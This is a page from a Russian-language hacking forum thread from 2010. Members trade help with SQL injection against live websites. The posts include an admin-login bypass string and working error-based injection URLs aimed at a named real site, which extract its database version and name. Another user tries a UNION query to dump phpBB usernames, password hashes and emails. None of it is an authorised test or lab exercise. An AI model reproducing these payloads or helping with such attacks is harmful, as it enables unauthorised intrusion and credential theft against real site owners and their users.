ANTICHAT Forum
HOME FORUMS MEMBERS RECENT POSTS LOG IN  
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 1247 из 2438 « Первая < 247747114711971237 1243 1244 1245 1246 1247 1248 1249 1250 1251 12571297134717472247 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #12461  
Старый 09.04.2010, 13:34
warlok
Постоянный
Регистрация: 18.02.2008
Сообщений: 368
С нами: 9594385

Репутация: 386
По умолчанию
Цитата:
Сообщение от Linkus  
В общем не знаю там ли написал, но вот такой вот вопрос ребята. В некой БД как то странно время вычисляется в виде цифр, в колонке time к примеру 1269553831 или 1269554171 . Я так понимаю это какая то зашифрованная дата или цифра. Как расшифровать? И можно ли цифру преобразовать в такой код.
http://ru.wikipedia.org/wiki/UNIX-время
 
Ответить с цитированием

  #12462  
Старый 09.04.2010, 13:44
Linkus
Участник форума
Регистрация: 20.12.2008
Сообщений: 130
С нами: 9152722

Репутация: 11
По умолчанию
Огромнейшее спасибо.
 
Ответить с цитированием

  #12463  
Старый 09.04.2010, 15:32
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами: 8803961

Репутация: 8
По умолчанию
Набираю в админке: 'or+5=5)--

выскакивает такая ошибка:

error executing query select id from trustee where name = ''or+5=5)-- ':
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')-- '' at line 1

Как тут правильно составить запрос?

Заранее всем спасибо!
 
Ответить с цитированием

  #12464  
Старый 09.04.2010, 17:12
ElteRUS
Постоянный
Регистрация: 11.10.2007
Сообщений: 406
С нами: 9780227

Репутация: 1423
По умолчанию
Пробуй '+||+'1
 
Ответить с цитированием

  #12465  
Старый 09.04.2010, 17:17
попугай
Познавший АНТИЧАТ
Регистрация: 15.01.2008
Сообщений: 1,168
С нами: 9642449

Репутация: 606


По умолчанию
Цитата:
Сообщение от FlaktW  
Набираю в админке: 'or+5=5)--

выскакивает такая ошибка:

error executing query select id from trustee where name = ''or+5=5)-- ':
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ')-- '' at line 1

Как тут правильно составить запрос?

Заранее всем спасибо!

не плюсы, а пробелы используй.
 
Ответить с цитированием

  #12466  
Старый 09.04.2010, 18:24
FlaktW
Участник форума
Регистрация: 19.08.2009
Сообщений: 115
С нами: 8803961

Репутация: 8
По умолчанию
Не получается, вот админка попробуйте сами:

http://www.vierpfoten.org/redadmin
 
Ответить с цитированием

  #12467  
Старый 09.04.2010, 18:47
[Feldmarschall]
Участник форума
Регистрация: 06.01.2010
Сообщений: 136
С нами: 8603287

Репутация: 87
По умолчанию
Цитата:
Сообщение от FlaktW  
Не получается, вот админка попробуйте сами:

http://www.vierpfoten.org/redadmin
Код:
http://www.vierpfoten.org/website/output.php?id=1001%27+and+%28select*from%28select+count%28*%29from%28select+1+union+select+2+union+select+3%29x+group+by%20concat%28mid%28%28select+version%28%29+from+INFORMATION_SCHEMA.TABLES+limit+0,1%29,1,33%29,floor%28rand%280%29*2%29%29%29z%29/*

Version: 5.0.22-Debian_0ubuntu
database: cmsVpOrgNe
ищи я уверен ты найдешь там что нужно

Код:
http://www.vierpfoten.org/website/output.php?id=1001%27+and+%28select*from%28select+count%28*%29from%28select+1+union+select+2+union+select+3%29x+group+by%20concat%28mid%28%28select+table_name+from+INFORMATION_SCHEMA.TABLES+limit+0,1%29,1,10%29,floor%28rand%280%29*2%29%29%29z%29/*
Последний раз редактировалось [Feldmarschall]; 09.04.2010 в 18:52..
 
Ответить с цитированием

  #12468  
Старый 09.04.2010, 21:23
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 560
С нами: 8885780

Репутация: 672


По умолчанию
ребят помогите са скулом есть таблица phpbb_users

table_rows возвращает 4186

а когда делаю запрос union+select+1,2+from+phpbb_users--
выдает ошибку help!!
 
Ответить с цитированием

  #12469  
Старый 09.04.2010, 21:30
SeNaP
Участник форума
Регистрация: 07.08.2008
Сообщений: 281
С нами: 9347610

Репутация: 165
По умолчанию
Цитата:
Сообщение от Konqi  
ребят помогите са скулом есть таблица phpbb_users

table_rows возвращает 4186

а когда делаю запрос union+select+1,2+from+phpbb_users--
выдает ошибку help!!
Ты пытаешься вывести колонки 1 и 2 , которые не существуют в таблице phpbb_users
Почитай внимательнее
Последний раз редактировалось SeNaP; 09.04.2010 в 21:33..
 
Ответить с цитированием

  #12470  
Старый 09.04.2010, 21:39
Konqi
Постоянный
Регистрация: 24.06.2009
Сообщений: 560
С нами: 8885780

Репутация: 672


По умолчанию
Цитата:
Сообщение от SeNaP  
Ты пытаешься вывести колонки 1 и 2 , которые не существуют в таблице phpbb_users
Почитай внимательнее
union+select+concat(username,char(58),user_passwor d,char(58),user_email,char(58),user_icq),2+from+ph pbb_users--

тоже возвращает ошибку
 
Ответить с цитированием
Ответ
Страница 1247 из 2438 « Первая < 247747114711971237 1243 1244 1245 1246 1247 1248 1249 1250 1251 12571297134717472247 > Последняя »



Предыдущая тема Следующая тема
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 6 (пользователей: 0 , гостей: 6)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.